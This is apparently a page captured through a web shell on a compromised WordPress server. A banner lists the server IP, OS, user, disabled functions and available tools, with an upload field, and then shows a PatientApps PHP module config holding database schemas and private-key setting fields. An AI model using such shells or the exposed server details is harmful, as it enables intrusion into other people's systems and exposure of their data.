Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/patientapps_www/modules/patientapps/ |
Upload File : |
<?php
namespace modules\patientapps;
class module_info extends \module {
function __info() {
return [
'version' => '0.0.8',
'class' => 'modules\\patientapps\\main',
'name' => 'PatientApps Inc Customizations',
'depends' => ['input', 'database', 'output', 'composer', 'imageHash', 'eggshell', 'autocomplete', 'paiWord'],
'composer' => [
'require' => [
'sensiolabs/ansi-to-html',
]
],
'settings' => [
[
'name' => 'repo',
'caption' => 'Git Repository',
'type' => 'string',
'default' => 'git@git.patientapps.net:pai/webapp.git',
], [
'name' => 'key', // private key to access git
'caption' => 'Private Key',
'type' => 'text',
], [
'name' => 'username',
'caption' => 'Webserver User',
'type' => 'string',
'default' => 'www-data',
], [
'name' => 'userkey', // private key to connect to websever
'caption' => 'Private Key for Webserver User',
'type' => 'text',
],
],
'database' => [
'pai_images' => [
'engine' => 'auto',
'charset' => 'utf-8',
'fields' => [
[
'name' => 'image_id',
'type' => 'string',
'size' => 20,
'null' => FALSE,
],[
'name' => 'size_0', // less than 440px wide - defaults to ionic image 4:3
'type' => 'object', // imageinfo structure - dimensions and data
'null' => TRUE,
],[
'name' => 'size_1', // 1280px or less wide - defaults to our overridden image 40:13
'type' => 'object', // imageinfo
'null' => TRUE,
],[
'name' => 'size_2', // larger than 1280px (not used)
'type' => 'object', // imageinfo
'null' => TRUE,
]
],
'index' => [
'PRIMARY' => [ 'type' => 'primary',
'fields' => ['image_id'],
],
],
],
'pai_media' => [
'engine' => 'auto',
'charset' => 'utf-8',
'fields' => [
[
'name' => 'pm_hash', // md5 of filename. Not based on content!
'type' => 'string',
'size' => 40,
'null' => FALSE,
], [
'name' => 'pm_size',
'type' => 'int',
'size' => 11,
'null' => FALSE,
], [
'name' => 'pm_mimetype',
'type' => 'string',
'size' => 80,
'null' => TRUE,
], [
'name' => 'pm_data', // the image
'type' => 'blob',
'null' => TRUE,
], [
'name' => 'pm_contenthash', // sha1 of image content
'type' => 'string',
'size' => 40,
'null' => TRUE,
], [
'name' => 'pm_modified', // date of last change
'type' => 'int',
'size' => 11,
'unsigned' => TRUE,
'null' => TRUE,
]
// width/height/ visualhash?
],
'index' => [
'PRIMARY' => [ 'type' => 'primary',
'fields' => ['pm_hash', 'pm_size'],
],
'byHash' => [ 'type' => 'index',
'fields' => ['pm_contenthash'],
],
'byMod' => [ 'type' => 'index',
'fields' => ['pm_modified'],
],
],
],
'pai_collection' => [
'engine' => 'auto',
'charset' => 'utf-8',
'fields' => [
[
'name' => 'procedure_code',
'type' => 'string',
'size' => 40,
'null' => FALSE,
],[
'name' => 'collection',
'type' => 'string',
'size' => 40,
'null' => FALSE,
]
],
'index' => [
'PRIMARY' => [ 'type' => 'primary',
'fields' => ['procedure_code', 'collection'],
],
'byCollection' => [ 'type' => 'index',
'fields' => ['collection'],
],
],
],
'pai_procedure' => [
'engine' => 'auto',
'charset' => 'utf-8',
'fields' => [
[
'name' => 'hash', // unique hash - based on filename (for WordDoc) or Git Branch Name (v1.1)
'type' => 'string',
'size' => 8,
'null' => TRUE,
], [
'name' => 'procedure_code',
'type' => 'string',
'size' => 20,
'null' => FALSE,
], [
'name' => 'title',
'type' => 'string',
'size' => 190,
'null' => TRUE,
], [
'name' => 'ignore_audio', // should the audio page be ignored?
'type' => 'boolean',
'default' => 0,
], [
'name' => 'tracking', // enable pageview tracking
'type' => 'boolean',
'default' => 0,
]
],
'index' => [
'PRIMARY' => [ 'type' => 'primary',
'fields' => ['procedure_code'],
],
'byHash' => [ 'type' => 'index',
'fields' => ['hash'],
],
],
],
'pai_json_head' => [
'engine' => 'auto',
'charset' => 'utf-8',
'fields' => [
[
'name' => 'procedure_code',
'type' => 'string',
'size' => 40,
'null' => FALSE,
],[
'name' => 'language_code',
'type' => 'string',
'size' => 5,
'null' => FALSE,
],[
'name' => 'content',
'type' => 'object',
'null' => TRUE,
]
],
'index' => [
'PRIMARY' => [ 'type' => 'primary',
'fields' => ['procedure_code', 'language_code'],
],
],
],
'pai_json_tail' => [
'engine' => 'auto',
'charset' => 'utf-8',
'fields' => [
[
'name' => 'procedure_code',
'type' => 'string',
'size' => 40,
'null' => FALSE,
],[
'name' => 'language_code',
'type' => 'string',
'size' => 5,
'null' => FALSE,
],[
'name' => 'name',
'type' => 'string',
'size' => 40,
'null' => TRUE,
],[
'name' => 'hash',
'type' => 'string',
'size' => 40,
'null' => TRUE,
]
],
'index' => [
'PRIMARY' => [ 'type' => 'primary',
'fields' => ['procedure_code', 'language_code', 'name'],
],
],
],
],
];
}
}
/*
Convert audio: ffmpeg -i oak-welcome.m4a oak-welcome.wav
httpprovider.ts: Click on the people icon
team.jpg
ma1-lhy
ma1-lendo
ma1-hyot
ma1-gylp
ma1-abhst
icon.png:
ma1-oah
ma1-oak
team.png:
ma1-pncl
ma1-ull
ma1-lsg
*/